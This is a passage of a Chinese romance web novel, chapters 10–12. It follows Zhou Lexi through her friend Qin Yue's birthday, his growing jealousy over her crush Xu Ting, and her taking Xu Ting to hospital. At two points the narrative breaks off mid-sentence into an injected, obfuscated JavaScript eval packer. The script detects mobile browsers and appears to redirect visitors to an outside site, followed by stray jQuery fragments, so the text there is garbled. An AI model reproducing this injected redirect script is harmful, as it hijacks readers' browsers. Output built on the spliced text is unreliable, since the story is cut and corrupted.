“知道啦,等我!”周乐惜挂断电话,从床上弹起来。
刷牙的时候,周乐惜才想起今天原本的打算是想去爪爪基地偶遇许亭的。
她最近几次去信恒都没碰到他。
不过既然已经答应秦越,便只好等下个周末了。
洗漱完,她往脸上喷了喷雾,一头长发扎成圆滚滚的丸子头,推开衣帽间大门。
反手把门关上,周乐惜换了kt猫拖鞋,探头朝里面喊:“秦越,我来啦!”
无人回应,露台方向传来水花声。
周乐惜随手把包包往沙发上一扔,踩过木地板朝露台走。
阳光洒满整个露台花园。
秦越光裸着上身浸在泳池里,水花包裹着他紧实的腰线,腹肌在光照下线条分明,充满力量感。
周乐惜盯着看了会儿,莫名觉得脸颊发烫,她往后退了一步,站到屋檐下躲太阳。
秦越游了过来,健硕的左臂搭在池边,从水中站起身。
水珠顺着他锋利的眉骨往下滑,滴落到锁骨,继续沿着紧实的肌理而下。
“惜惜,帮我递杯水。”秦越嗓音低沉,目光锁定她。
周乐惜轻轻哦了声,应道:“马上!”
还说不是使唤她呢,不过递个水而已,小事一桩啦。
他生日他最大,她今天就当一回小秘书吧!
周乐惜转身回了屋里,到岛台接了杯水,走到池边弯腰递给秦越。
秦越喝了一口,把杯子随手放在池边瓷砖面上:“惜惜,帮我计个时?”
“行!”
周秘书又进屋找计时器了,秦越家里的东西摆在哪她也一清二楚。
拿到计时器,周乐惜干脆脱了拖鞋坐在池边,她今天正好穿着牛仔短裤,可以把两只白嫩嫩的小腿泡进池里玩。
感受到凉丝丝的池水,周乐惜抬头看了眼,原来今天太阳不晒。
秦越已经游到泳池另一边。
周乐惜晃悠着小腿激起水花,她微微举高手:“准备——开始!”
秦越在对岸,视线落在她身上。
匀称白嫩的双腿在水里晃荡,透着一种难以言喻的引诱。
听见她的信号,秦越纵身一跃,浑身肌肉绷紧,宛如蓄势待发的猎豹,强大而迅猛。
周乐惜只看了一眼计时器,目光便全程落在秦越身上。
每一次展臂劈开水流,湿透的身躯,充满爆发力的腰腹。
距离一再被缩短,像猎豹捕食,离她越来越近。
察觉浸泡在水中的脚踝被冰凉的手掌猛地攥住,周乐惜一颤,指尖条件反射按下计时器。
周乐惜看向计时器:“太厉害了,比上次的纪录快了四秒!”
秦越浮出水面,站在她面前,一头湿发随意拨弄,有几缕凌乱散在眉前,整个人显得桀骜倜傥。
周乐惜捏着手里小小的计时器,目不转瞬。
“喜欢看?”秦越抬头看她。
脸似乎又被太阳晒热了,周乐惜咬了咬唇,莫名有点不好意思。
她移了移视线,小声说:“这么好的身材,谁不喜欢看……”
乌灵偶尔也给她分享擦边男模视频呢,不过那些人跟秦越比起来。
好像都比不过!
“有多喜欢?”
来回晃动的膝盖忽然被一只清冽的大手稳稳覆住。
秦越看着她,嗓音里添了几分极力克制的低沉:“跟许助理比起来呢?”
10. 女主人
细碎波光映在池面,周乐惜望向水中,眼瞳里晃动的光影逐渐被面前的男人占据。
他立在水中,高大的身影几乎撑满她整个视野。
膝盖上的手掌宽大,手背青筋纹路明显,能够将她的膝盖完全包裹,大概也能圈住她一条大腿。
四目相对片刻,周乐惜便垂了垂眼,长睫无措轻颤着。
是阳光太晒了吗,他的视线怎么像藏了火的灼热。
跟许亭比起来……
周乐惜认真思考,发现难以比较。
他们两个人的身形本就是不同风格,健硕和清瘦,不能说一方就胜过另一方。
许亭的气质就和他现在的身材很适配,而秦越在周乐惜眼里,也就该是现在这样的高大可靠。
周乐惜歪了歪脑袋:“为什么要这么问?”尾音带着懵懂的困惑。
秦越将她所有的反应尽收眼底。
小姑娘被保护得太好,也或许是超乎他想象的信任他,于是从不费心去思考任何别有深意的东西。
为什么这么问。
你不是喜欢他吗。
你又究竟喜欢他什么。
她的眼睛太干净,干净得让他不忍将自己那点肮脏的嫉妒和占有欲外露。
更不忍击碎她眼中原本的世界。
秦越滚了滚喉结,指腹抚过她的膝侧,力道轻得几乎感知不到,极力控制在越界边缘。
周乐惜又晃了晃膝盖,示意他说话。
就在这时,秦越的手机响了。
周乐惜扭头看了眼,马上道:“我去帮你拿过来。”
说罢她便一骨碌爬了起来,白嫩的双脚套上拖鞋,急匆匆往里走。
边往里走,周乐惜边扫眼自己的膝盖,只剩残存的一点冰凉感,很快又荡然无存。
“是洛阿姨。”周乐惜把还在响的手机拿到露台。
“你接。”秦越游到池对面上岸,背对着她朝淋浴冲洗间去了。
“喂,儿子。”
电话传来一道温柔的女声,周乐惜忙道:“洛阿姨,是我。”
“呀,是惜惜啊!”
“嗯,洛阿姨,你和秦叔叔最近怎么样?”
“还是我们家惜惜贴心,第一件事就是关心我和你叔叔,不像你秦越哥哥,多说的话是一句都没有哦。”
周乐惜抬眸看了眼,不自觉为秦越解释:“哥哥虽然话不多说,但你们身边的保镖都是他亲自精挑细选的,他是行动派!”
洛苓笑了:“你这么一说,我突然感到很暖心了,还是你最了解他。”
周乐惜:“嘿嘿。”
洛苓:“对了,秦越呢?”
周乐惜:“他刚才在游泳,现在去冲洗了。”
洛苓:“今天他生日,我跟他爸在这边的考察还没结束,还好有你陪着他。”
周乐惜:“我今天一天的时间都是他的。”
洛苓:“那你们今天准备……”
秦越从冲洗间出来,小姑娘还举着手机在热聊,不时哈哈笑两声,宛如亲母女。
这么喜欢女儿,当初怎么就不是定的娃娃亲,而是让他多了个青梅竹马的妹妹。
听见脚步声,周乐惜回头:“秦越出来了。”她把手机递过去。
秦越把毛巾搭到肩膀,坐到沙发上:“妈。”
周乐惜看了眼他的毛巾,又看了眼他湿漉漉还在滴水的短发。
殷勤的周秘书再次上线服务寿星,她半跪到沙发上,拿起他的毛巾,一把罩住他的头。
脑袋忽然被一通乱揉甚至被她的指甲刮到头皮的秦越:“……”
-
中午,秦越订了餐,两人在家里吃。
周乐惜依旧是没吃早餐跑过来的,胃口不错,秦越看着她,也多吃了半碗饭。
这房子大得空荡,秦越独居其中,每天早上起床出门,晚上回来睡觉。
也只有她来一次,这个沉寂的空间才活了过来。
下午,秦越有个应酬。
周乐惜板着脸,语气里带着几分嗔怪:“怎么今天也有工作?!”
秦越笑着解释,对方今晚就要飞奥地利,再回来得明年,有些关键事项必须当面敲定。
“要是不想去,在家等我?”
应酬对她来说是枯燥无聊的。
周乐惜撇了撇嘴,把从他冰箱里拿出来的一颗比她手还大的软籽石榴递给他:“算了,说好今天一天时间都是你的,我陪你去。”
秦越接过石榴开始给她剥,晶莹剔透的石榴籽装了大半个玻璃碗。
周乐惜抱着碗吃,见她吃得差不多,秦越笑道:“进来给我选套西装?”
周乐惜很少进他的衣帽间。
男人的衣帽间都比较无聊,看她老父亲的就知道了,明明打眼看过去全是黑色衬衫,她爹愣说细节不同,是五彩斑斓的黑。
周乐惜反正是看不懂。
秦越的衣帽间也基本是深色系的穿搭,衣帽间空间很大,然而秦越只把衣服集中挂在左侧。
周乐惜指了指右侧,问秦越:“对面一半怎么空着?”
秦越顺着她的视线望去,又收回,目光在她脸上停留:“留给这个家未来的女主人。”
“哦……”
周乐惜莫名想到了答谢宴那晚,厉旭问她,秦越和邵梓站在一起配不配。
走神着,周乐惜把一件紫色带着许多亮片点缀的衬衣拿了下来。
秦越:“……确定要我穿这个?”
周乐惜回神,然后傻眼:“为什么你这里会有这种丑东西?!”
秦越:“厉旭送的。”
说是哪个品牌的名家设计款,他一口气买了好几件,顾洲白贺政他们也收到了。
周乐惜挂回去:“那很合理了。”
周乐惜最终给他选了摩卡色的双排扣西装搭配白衬衫。
等秦越换好了出来,周乐惜捏着下巴满意点头,然后由衷道:“听我的,离厉旭的审美远远的!”
秦越看着她笑:“好,以后都听你的。”
-
司机在楼下等候,上了车,周乐惜蓝牙放歌,秦越垂眸翻看起文件。
距离目的地有个半小时的路程,周乐惜无聊地转着手机,想到什么,她马上给萍姐发了条微信。
问她许亭今天有没有去基地。
过了会儿,萍姐回了条语音条。
周乐惜想也不想便点开——
“许亭啊,他来了!但是他只待了一会儿就走了,不过我发现他好几次都看着大门口的方向,像是在等你来呢!”
语音条播放结束。
被打断的音乐重新在车内响起。
司机看了眼后视镜,继续开车。
周乐惜正尴尬着,手机忽然被抽走。
“你拿我手机干嘛?”
她下意识扑过去,想抢回来。
车子刚好经过隧道,秦越的侧脸隐在半明半暗的光影里。
他一手捏着她的手机,另一只手揽着她的腰,嗓音低沉喑哑:“今天的时间既然归我,就不要分心。”
周乐惜默了默,咬唇。
目光在她饱满的唇上一扫而过,秦越神色平静,拍了拍她的腰,语气淡淡却不容置疑:“坐好。”
“……哦。”
周乐惜乖乖坐了回去。
-
目的地是一座四合院茶庄,朱漆大门敞开,大隐隐于市,内里更是别有洞天。
青砖黛瓦,翠竹通幽,往里走,周乐惜看到了一方鲤鱼池,每一条锦鲤都被养得肥肥胖胖。
园里错落分布着几座古雅的凉亭,其中一座六角亭内摆着一台古琴,身着淡蓝旗袍的年轻女人见贵客入内,便开始抚琴。
周乐惜指了指一旁空着的凉亭雅座:“我在外面等你好了,不想听你们谈生意。”
秦越颔首:“好,别走远。”
“我又不是小朋友,就算走远了也不会走丢!”周乐惜朝他伸手:“你把我手机收了,你自己的给我玩行了吧。”
秦越笑了笑,拿出来给她,自去里面。
琴声悦耳,周乐惜悠闲地品着茶,吃着糕点,斜靠在围栏边对着扑腾的鱼儿抓拍两张照片。
听了五首曲子,秦越出来了。
“给!”周乐惜往他的手里塞了两枚金灿灿的金币。
周乐惜找服务生兑换的,一千块钱一个金币,可以抛入池中许愿,据说这池子有百年历史,很是灵验。
她一共买了三个金币,分秦越两个,是寿星的牌面。
换了平常,是周乐惜二,秦越一,秦越再把他那个主动又给回周乐惜手里。
“你许了什么愿?”秦越问她。
“祝你今天的合作谈得顺利。”周乐惜说。
秦越端起她的茶盏递到她面前:“难怪刚才和陈总聊得这么投缘,原来是你在帮忙。”
“真的?”周乐惜笑得灿烂,知道他是哄她,依旧很受用:“看来你没我不行呀!”
秦越也笑,捻了捻手里两枚金币,随后一并扔入池中。
周乐惜好奇:“你许了什么愿?”
秦越望着她亮晶晶的眼睛:“愿,日日如今朝。”
周乐惜懂了,每一次谈生意都像今天这么顺利:“第二个愿望呢?”
秦越:“下次再告诉你。”
亭内的乐师恰好拨响琴弦,余音袅袅,缠绕着许多未能开口言明的期许。
-
晚上,是厉旭组局给秦越开的生日派对,叫了很多人。
秦越和周乐惜一起现身,众人习以为常,迎头而来的拉花彩带也落了周乐惜一脑袋。
周乐惜扫视一圈,厉旭叫来的都是他们从小玩到大的一群朋友,邵梓也在。
切蛋糕时周乐惜分到了第一块,上面有她喜欢的树莓。
包厢另一边照旧支起了牌桌,有人已经在让秦越过去,说要大赢寿星。
“我跟你们玩。”贺政道。
“政哥,你还不如叫我们直接给你打钱。”
众人哄笑,秦越盛情难却,看眼周乐惜:“我过去?”
周乐惜余光注意到牌桌上的邵梓,点点头:“你去呗。”
她最近要么忙着追许亭要么忙着给秦越做生日礼物,已经好久没露面,周围一圈朋友围着呢,不需要秦越这个寿星陪她。
乌灵晚了半小时才到,过去跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179128|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦越碰了碰杯就坐回周乐惜身边:“我们家沈教授管得严,我晚上十点前就得撤了。”
周乐惜闻言,嘴角忍不住抽了抽:“你那位沈教授,贵庚啊?”
乌灵赏她一个暴栗:“什么贵庚,他可是海大最年轻的教授之一,专心搞科研,虽然有点一根筋,但长得很帅!”
乌灵是颜控,周乐惜知道,再看她手机里偷拍的那位沈教授的照片。
这岂止是帅,这简直是帅惨了!
周乐惜:“姐妹,我学习的榜样!”
同样是追人,乌灵已经是‘我家的沈教授’了,她这边还没影儿。
乌灵:“男人嘛,你得用对方法,别急,咱们比的就是耐心,加油!”
乌灵喝了口酒,注意到那边牌桌上的邵梓:“她怎么也在……”
乌灵和邵梓不怎么对付,她摸了摸周乐惜的脸:“一想到以后我最好的闺闺有可能要叫我讨厌的人一声嫂子,我就膈应!”
周乐惜被这话绕得有些晕:“什么意思啊?”
“我也是听我爸说的,”乌灵轻抬下巴:“邵家一直想和秦家稳固关系,最好的办法不就是联姻咯。”
周乐惜愣住。
乌灵:“秦越没跟你提过?”
周乐惜摇摇头,秦越都没在她面前提过一次邵梓。
邵梓和周敏宜,秦越,以及顾洲白,他们四个年龄相同,也都是同一所大学毕业的。
乌灵:“那我就放心了,秦越要也对邵梓有心思,他肯定早就先提出联姻了。”
乌灵:“不说了,我先走了,去接我们沈教授下课。”
周乐惜:“……”
蛋糕吃多了,有些甜腻,周乐惜放回桌上,端起柠檬茶压压。
身旁沙发重新有人落座。
“不吃了?”秦越瞥了眼她面前的蛋糕。
“饱了。”周乐惜道。
秦越切的蛋糕,给她的分量很大块,周乐惜只沿着一边吃了,另一边原封未动。
“树莓口味的好吃吗?”
蛋糕是厉旭订的,正方形,各种鲜果分区摆放。
“好吃呀,你要尝尝吗?”
周乐惜拿了个新的叉子放到边上,把蛋糕递给他:“你怎么这么快就过来了,赢了多少?”
秦越轻笑:“没赢,放水了,让他们高兴。”
那估计邵梓也挺高兴的。
秦越只是不爱玩牌,但他很会算牌,只要他在场,牌局基本是他一人控场。
秦越拿起勺子挑了一小块蛋糕。
树莓味,酸酸甜甜,怪不得她爱吃。
“你吃错了,这个勺子我吃过了。”
周乐惜看着他手里的白色勺子,再指着蛋糕另一边的黑色勺子说:“那个才是你的。”
秦越一顿,像是这才注意到。
他若无其事道:“从小到大,吃你吃过的还少了?”
周乐惜:“……”
好像有点道理。
沙发上第三个人:“……”
我靠。
那边有人喊:“惜惜,缺个人组队,你玩不玩?”
周乐惜起身过去了。
厉旭立刻平移过来,低声问秦越:“哥,你这…是不是也太明显了?”
秦越继续用白色小勺子挑了点奶油,不置可否:“是吗。”
厉旭:“还不是吗,你们这都当我面交换口水间接接吻了,下一步准备做什么?!”
秦越看他一眼,让他保持安静。
厉旭:“。”
-
散场时是晚上十一点。
司机先把车开到周家。
后座挡板升着,有限的空间里浮动着微妙的香气。
秦越身上清洌的酒气,周乐惜发间淡淡的女士馨香,以及蛋糕的甜香。
香味混合交织在一起,闻起来,竟然莫名和谐,仿佛他们天生就该这样交融,渗入骨血,密不可分。
周乐惜看了眼腕表:“十一点五十五了,一天要结束咯。”
秦越静静看着她,眼眸深邃。
“还剩五分钟啦,”周乐惜歪着脑袋,“你要是还有什么吩咐就赶紧提,过了我可不听了。”
“什么要求都可以?”他嗓音微沉,深眸泛着幽光。
周乐惜瞪他:“太过分的可不行,不然等我生日那天,我要你穿上厉旭送的丑衣服去蹦迪给我看!”
秦越唇角微扬。
“没有我就下车咯。”
秦越握住她的手腕:“惜惜。”
周乐惜扭头。
“闭上眼睛。”他声音很轻。
“闭眼睛要干嘛?”轻到周乐惜迟疑了下,以为自己听错。
秦越没有解释,依旧看着她。
“好吧……”
她可是言出必行的,周乐惜乖乖闭上了眼睛。
车内骤然安静下来,原本也够静的,只是现在,静得仿佛能听见自己的心跳。
周乐惜莫名感到一阵紧张,手心攥了攥,不知道接下来会发生什么。
“你该不会想在我脸上乱画……”
话音刚落,一个微凉软和的触感轻轻印在了她的额头上。
11. 低气压
“惜惜,怎么老是摸额头呀,长痘痘啦?”小公主一进门就说好热好热,肖姨赶紧给她倒了杯冰水。
这会儿人缩成小小一个窝在沙发角落,捧着杯子小口喝着,时不时就要抬手摸一下额头。
肖姨关切道:“明天给你煲一壶下火的凉茶吧?”
周乐惜回过神来,悻悻放下手:“不用不用,我没长痘……”
她一口气喝完剩下的冰水:“阿姨我上楼洗澡了!”
拖鞋啪嗒啪嗒踩着地板人就跑上去了。
泡在浴缸里。
周乐惜忍不住又摸了摸额头。
在车里,她虽然闭着眼睛,睁开眼时秦越也已经跟她拉开距离。
尽管触感很轻。
轻得让她恍然以为是错觉。
亲额头,有什么含义吗?
周乐惜拿起手机查——
当看到‘一种温柔的示爱方式’周乐惜瞳孔猛缩,吓得差点把手机甩到浴缸里。
她赶紧往下滑,看到‘象征着保护,关爱和善意的祝福’
周乐惜松了口气。
哈,跟她想的一样嘛!
泡完澡,周乐惜站在镜子前用吹风机将头发吹干。
虽然已经凌晨一点,她却毫无困意,反而越夜越清醒。
肯定又是因为喝了柠檬茶!
周乐惜走到阳台外,靠着围栏正想吹吹夜风,结果就看到了花园里不得了的一幕。
顾洲白的车缓缓停进花园。
周敏宜解开安全带,拎着包正要推门,却发现车门没开锁。
她扭头,顾洲白已然解开安全带,俯身探向副驾,将她严严实实压住。
然后两个人的嘴巴就黏在了一起!
周乐惜连忙捂住眼睛,又忍不住透出一条缝。
姐姐似乎扭头躲了一下,但很快又被引导着仰头,双手挽住了姐夫的脖子。
副驾车窗没升。
周乐惜看得一清二楚。
“哇哦……”她不自觉轻呼,为姐姐的甜蜜婚姻高兴,然后悄悄退回了房间。
这样的亲吻才叫示爱,盘踞在她心头的那点茫然一下就消散了。
周乐惜拉上窗帘,关了灯,一夜好眠。
-
翌日,周乐惜难得起床吃早餐,周敏宜也还没去公司,正喝着咖啡,吃三明治。
周乐惜滑坐到姐姐旁边的椅子上,飞快朝她眨眨眼。
周敏宜:“嗯?眼睛不舒服?”
周乐惜一根手指戳戳她手臂:“姐,昨晚,我看到了哟~”
向来冷静持重的周家大小姐脸上难得露出一抹羞涩,她放下咖啡杯,嗔一眼妹妹:“小姑娘家家的,眼神怎么这么色。”
周乐惜笑嘻嘻:“那你们下次接吻记得升窗。”
周敏宜心道没有下次。
要不是顾洲白突然袭击,她推不开,只能配合。
周乐惜托着下巴,由衷地说:“你跟姐夫感情真好。”
周敏宜笑笑,喝了口咖啡,没说话。
周敏宜和顾洲白虽然是大学校友,但在校期间两人只是点头之交,尽管两家有生意合作,但他们并不相熟。
后来,周敏宜毕业接管公司,事业顺遂,她开始为自己物色结婚对象。
一开始,周敏宜挑中的并不是顾洲白,是他自荐到她面前。
后来,周敏宜同意了,她对顾洲白说,她会尽最大义务配合夫妻营业,无论是对内还是对外。
但有一点,如果妹妹那边有事找她,她只会以妹妹为先。
并且,周敏宜五年内不打算生孩子,如果和顾洲白的婚姻在五年内出了问题,两个人无法再合作下去,或者,她个人出了什么意外,不在人世。
那她和顾洲白婚姻里该得的那部分财产将全部由妹妹继承。
这条,周敏宜写在了婚姻协议里。
顾洲白只是看了一眼,便签字了。
周敏宜喝完最后一口咖啡,揉揉妹妹的脑袋,语气温柔说:“你将来也会遇到你想要的另一半。”
周乐惜托腮想了想,结婚吗。
对她来说好像是很遥远的事情。
吃过早餐,周敏宜去公司上班了。
周乐惜自己慢悠悠吃完早餐,又回房间睡了个回笼觉。
下午,周乐惜飞往杭市,和两个杭市本地的大学舍友一起观看了场网球公开赛,逛吃了两天。
两天里,周乐惜发了两条朋友圈,一堆人点赞评论。
周乐惜知道,这堆人里不会有许亭,他仿佛是一个不冲浪的断网人。
不仅如此,周乐惜发现,她最近给他发微信,三条他只回一条,还都是很简短的回复。
周乐惜有些气馁,怎么感觉又和许亭回到了最开始的状态,他们不是已经做朋友了吗。
一想到许亭本就冷冰冰的性格,周乐惜又不气了,算了算了,谁让她脾气好又包容呢。
从杭市回来,周乐惜和周敏宜去参加了一位远房堂姐的婚礼。
周乐惜被邀请当堂姐的姐妹团,婚礼仪式其中一个环节,姐妹团和兄弟团凑对挽着手臂跟在新郎新娘身后上台。
和周乐惜凑对的那个男孩子她认识,小时候她来堂姐这边过暑假,和对方一起组队打过游戏,据说现在已经是一位职业选手。
对方一脸机灵相,说话也很风趣。
婚礼结束,周乐惜发了条朋友圈,九宫格里有一张刚好是摄影师拍的上台仪式。
这条朋友圈,秦越没点赞。
晚上,洗完澡躺在床上的周乐惜接到了秦越的电话。
他跟她聊起周家堂姐的婚礼,再漫不经意问她,被她挽着胳膊的那个男人是谁。
周乐惜解释了一番。
秦越:“听起来,你们还挺有话题聊。”
秦越:“他叫什么名字?”
周乐惜:“这我就不知道了,没问。”
秦越顿了顿,淡笑一声,没再聊婚礼,只说自己周末要去深市出趟差。
给她报备行程。
-
周日这天,周乐惜载着一后备箱的猫狗粮来到了爪爪基地。
金主姐姐大放粮,周乐惜脚边围满了毛茸茸,两只手都摸不过来。
“元宝,你别再打架啦!”
“贝贝,你骑到别狗身上干嘛,给我下来!”
“小白,你怎么长胖了这么多?我一只手都抱不动你咯!”
然而,周乐惜一直待到傍晚都没见许亭露面。
怎么回事,专门跟她反着来?
她就不信了,她还蹲不到人。
周乐惜回想了下之前几次偶遇许亭的地点,她开着车在城里漫无目的转。
果然,在第一次遇见他的那家便利店门口,周乐惜看到了那个熟悉的身影。
许亭刚买完东西从店里走出来。
“许亭——”
周乐惜把车停好追了过去。
许亭脚步顿住,回头望去,然而面前的人影似乎在重叠。
“你怎么了?”
周乐惜走到他面前,一下就发现他的脸色不对劲,泛着不自然的潮红。
“没事……”许亭摇头,语气却虚浮。
周乐惜没听他的,直接伸手贴上他的额头,随即一惊:“你发烧了!”
“小事……”许亭还想硬撑。
“什么小事?不行,跟我去医院!”
周乐惜不由分说,生拉硬拽地把人塞进了副驾驶。
周乐惜上了车,调转车头便直奔医院。
三十分钟后,许亭已经安静地躺在了病床上,输液管里的药水匀速滴落,而他睡得很沉。
“周小姐,你看这间病房可以吗?”
周乐惜点点头:“可以,麻烦您了王院长。”
“病人是疲劳过度引起的发烧,等睡醒一觉就会好很多,你有事随时找医生,或者打电话给我。”
周乐惜笑道:“好,谢谢您。”
等人一走,病房里安静下来。
周乐惜坐在病床旁的椅子上,双手撑着大腿,微微倾身,静静地端详许亭。
他脸色青白,长长的睫毛下垂,呼吸轻而平稳。
-
同一时间,深市。
秦越饭局结束
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179129|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来,在一楼电梯口碰到了邵梓。
“这么巧?”
邵梓挑眉,语气里带着意外:“来谈和培丰能源的合作?”
秦越:“嗯。”
邵梓:“看来很顺利,恭喜。”
秦越:“多谢。”
邵梓握了握手包:“一会儿有事吗?要不要一起去喝一杯,听说顶层的清吧不错。”
秦越看了眼腕表:“不了,还有事。”
“好吧。”邵梓笑笑,也没强求,进退有度:“那不打扰你。”
观光电梯缓缓上行,邵梓垂眸望着楼下那辆黑色轿车。
秦越这样的人,仿佛天生就不会对女人动心。
这么多年,他身边零绯闻,哪怕海市那几家商业对头公司花高价请专业狗仔,都没拍到过。
金钱,地位,名利,秦越什么都有,什么都不缺,而所谓感情在商人眼里轻如鸿毛。
这样理智到近乎冷漠的男人,恐怕早已经强大到不需要任何人的陪伴。
忽地,邵梓的脑海中浮现出一张前不久才见过的明媚笑脸。
那个娇俏明亮的周家二小姐。
邵梓皱了皱眉,又开始自疑起来。
秦越那样成熟淡漠的人,会喜欢周乐惜那种娇气的小姑娘?
邵梓转念又一想,周家二小姐自小金尊玉贵,要风得雨,背后不正是因为有秦家保驾护航当靠山。
听说秦越的母亲洛苓当年还想认周乐惜当干女儿。
邵梓拿出手机,拨通了自家大哥的电话:“哥,你之前卖给秦越的那块红宝石,你知道他是买来送给谁的吗?”
“知道啊。”大哥的声音从电话那头传来,很快,邵梓听到了周乐惜的名字。
邵梓沉默一瞬,又问:“他出价多少?”
大哥:“三千八百万。”
邵梓再次沉默。
想起一句,万金一博美人笑。
-
商务车里,秦越坐在后座翻看文件,对副驾的于格道:“把培丰的环境尽调报告发给我。”
于格回头说:“这部分是许亭负责,我马上联系他。”
秦越:“嗯。”
许亭的内部竞聘面试已经通过,只要把总裁办的工作交接出去,过两天他就可以去技术部上班。
许亭电话响起时,周乐惜正坐在病房里的沙发上刷手机。
振动声响,许亭微微皱眉。
周乐惜赶紧起身走过去,正准备把电话挂断,一看来电显示于格。
明天就是周一,许亭都躺病床上了,也没精力再去上班,他怕是得请个假吧。
周乐惜于是拿着手机走到窗边接下。
“许亭,你把培丰的那份……”
话没说完,周乐惜开口道:“于助理,是我,周乐惜。”
于格明显一愣,把手机凑到跟前看了眼,确认自己没老花拨错号码:“周,周小姐?”
周乐惜:“对,是我。”
于格那边安静了两秒。
“周小姐,你现在是和许亭在一起……额不是,待在一起?许亭他人呢?怎么是你接的电话?”
周乐惜看眼病床上:“他发烧了,我把他送到医院来了,他现在还在打吊瓶,人也还没醒。”
于格:“这样啊,他没事吧,我马上派个同事过去看看他。”
周乐惜:“不用啦,我在这看着呢,你找他有事吗?”
于格:“啊对……我跟秦总在深市这边,有份文件想让许助理发我,没事儿,让许助理好好养病休息两天吧,我找别人要。”
周乐惜:“哦,那我挂了。”
于格:“啊行……”
扩音电话挂断,车内重归安静。
于格摸不准秦总的意思,便没敢悄悄从后视镜去看,只一门心思低头联系其他同事拿资料。
开车的司机同样专心目视前方。
两个人都感觉到了微妙的低气压。
后座,秦越的眼神已然沉了下来,指节微微收紧,手里的文件被捏出褶皱。
他不过离开两天,她就已经照顾到别的男人的病床前了。
12. 别乱动
许亭还昏睡着,VIP病房的护士们都很专业,没有需要用到周乐惜的地方。
见他的脸色不似几个小时前的苍白,烧退了,睡得也很安稳,周乐惜便放心地回家了。
第二天一早,周乐惜开车过来,路上特意绕道老城区打包了早餐。
“约了你几次都约不上的饭,没想到在病房里吃上了。”周乐惜打趣道。
许亭:“……抱歉。”
嗓音带着一种病后的微哑。
两人隔着沙发茶几对坐。
许亭穿着松垮的蓝白病号服,显得整个人肩线更单薄了。
周乐惜想到一个词,病美人。
“我又不是怪你,”周乐惜笑道:“我知道你只喜欢一个人吃饭,不喜欢别人盯着你,我明白的啦!”
许亭应该是社恐,她能理解。
“我来。”
见她要去开保温袋,许亭握住袋口,指尖意外擦过她的手背,他立刻蜷起手指。
周乐惜笑着收回手:“好,你来吧。”
许亭垂眸,默默打开保温袋,一样样拿出来,一共八个食盒,在茶几上排开。
许亭心情复杂地看向周乐惜。
怀疑她在把他当猪养。
周乐惜说:“你太瘦了,多吃一点。”她还嫌买少了呢。
许亭问她:“你要吃哪份?”
周乐惜抬抬下巴:“粥吧,是大份的砂锅粥,我吃一碗就够了。”
许亭打开食盒盖子,热气涌了出来,他开始给她舀粥,接着拆开勺子的包装袋。
周乐惜喝着粥,见许亭在挑葱,她挑眉:“你不吃葱?”
许亭:“嗯。”
周乐惜:“秦越也不吃。”
周乐惜虽然嘴挑,但是肖阿姨做的小葱煎蛋又香又脆,她很喜欢吃。
许亭顿了顿,垂眼沉默喝粥。
周乐惜也习惯了,他要是突然变得健谈才奇怪呢。
病房的窗外有棵大树,枝叶随风轻晃,摇曳的光影无声照进来。
很安静。
“秦总除了不吃葱,还有什么?”
许亭忽然开口,嗓音清洌。
周乐惜唔了声,道:“他不喜欢太甜的东西,微甜可以接受,不吃内脏,不吃生食……”
有关秦越的一切。
周乐惜如数家珍,了如指掌。
许亭静静地看着她。
周乐惜说:“对了,昨晚我帮你接了于格的电话,他找你要什么文件,我说你生病了。”
许亭点头,显然已经翻看过手机:“于哥知道你在医院,陪我?”
周乐惜:“知道呀。”
许亭:“秦总呢,他也知道吗?”
周乐惜偏头:“这我就没问了。”
说起来她昨晚给秦越发了微信,问他在深市的工作结束没有,什么时候回来,他还没回她消息。
肯定是太忙了。
许亭没再说话,继续低头吃早餐,周乐惜见他每样都吃了,很是满意。
收拾餐盒他也没让周乐惜动手,自己打包干净扔进垃圾桶。
时间差不多,许亭道:“我已经没事了,直接出院吧。”
周乐惜点点头:“那我一会儿送你回家吧。”
许亭没再拒绝她的好意,他抬手,放到病号服的领口扣子上。
等了等,见周乐惜还是没动,依旧直勾勾地看着他。
许亭只好道:“我要换衣服。”
“哦哦,你换你换。”
周乐惜这才转过身,揶揄笑:“还挺害羞呢。”
许亭:“……”
许亭盯着她的背影。
难得的,他唇角轻扬,然而那极轻的笑容里却藏着一丝几不可察的苦涩。
是真的喜欢他吗。
可为什么,她面对他从来不会害羞脸红。
也许从前,他不知道‘喜欢’是什么感觉,直到她闯入他的眼中,他懂了。
周乐惜晃着包包等了等:“好了吗?”
许亭:“好了。”
周乐惜刚转过身,就听见许亭低声说道:“乐惜,谢谢。”
嗓音依旧清冽,却比往常多了几分认真和真诚。
周乐惜挑眉一笑:“终于不叫我周小姐啦,值得表扬!”
注意到他头发上沾到了病号服上的蓝色毛絮。
周乐惜走近一步,抬手想帮他拿掉。
看着她忽然凑近的脸,许亭一时竟然忘了躲开,微微怔住。
她的眼尾带着浅浅的笑,一双眼睛透亮水润,左眼下似乎还有一颗很浅的痣。
恰在这时,于格走了进来,撞见这幕他瞬间睁大眼睛。
两个人靠得很近,周小姐踮起脚,抬起手,似乎要去挽许亭的脖颈,这姿势怕不是……
于格马上张嘴:“周小姐——”
“你们在,干嘛呢?”
许亭如梦初醒,沉默着后退一步。
周乐惜扭头:“咦?于助理,你不是在深市吗,回来了?”
